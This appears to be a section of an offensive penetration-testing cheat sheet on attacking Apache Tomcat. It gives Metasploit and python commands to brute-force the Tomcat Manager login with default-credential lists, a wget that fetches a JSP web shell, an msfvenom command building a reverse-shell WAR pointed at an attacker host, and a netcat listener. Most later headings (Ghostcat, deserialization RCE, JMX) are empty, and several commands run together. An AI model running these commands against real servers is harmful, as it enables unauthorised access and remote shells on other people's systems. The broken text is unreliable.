8. Attacking Tomcat
1. Tomcat Manager Brute-Force:
msf6 > use auxiliary/scanner/http/tomcat_mgr_login
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RHOSTS <target_ip>
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT <target_port>
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set VHOST <target_vhost>
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set STOP_ON_SUCCESS true
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_userpass.txt
msf6 auxiliary(scanner/http/tomcat_mgr_login) > runpython3 mgr_brute.py -U http://<target>:<port>/ -P /manager -u /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt -p /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt2. WAR File Upload (After Login):
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jspmsfvenom -p java/jsp_shell_reverse_tcp LHOST=<attacker_ip> LPORT=<attacker_port> -f war > backup.war
nc -lnvp <attacker_port>3. CVE-2020-1938 (Ghostcat - AJP LFI Exploit):
4. Exploiting CVE-2009-3548 (Tomcat Deployment Bypass):
5. Exploiting CVE-2017-12617 (Arbitrary JSP Upload via HTTP PUT):
6. Tomcat Weak Configuration & Exploitation:
7. Exploiting CVE-2020-9484 (Tomcat Deserialization RCE):
8. Attacking Tomcat with Metasploit (JSP Upload via RCE):
9. Exploiting Tomcat with JMX RMI (CVE-2016-8735):
10. Tomcat JMX Exploitation:
11. Tomcat Connectors (AJP & HTTP Connector Misconfigurations):
12. Important Considerations & Post-Exploitation:
Example Additions:
Last updated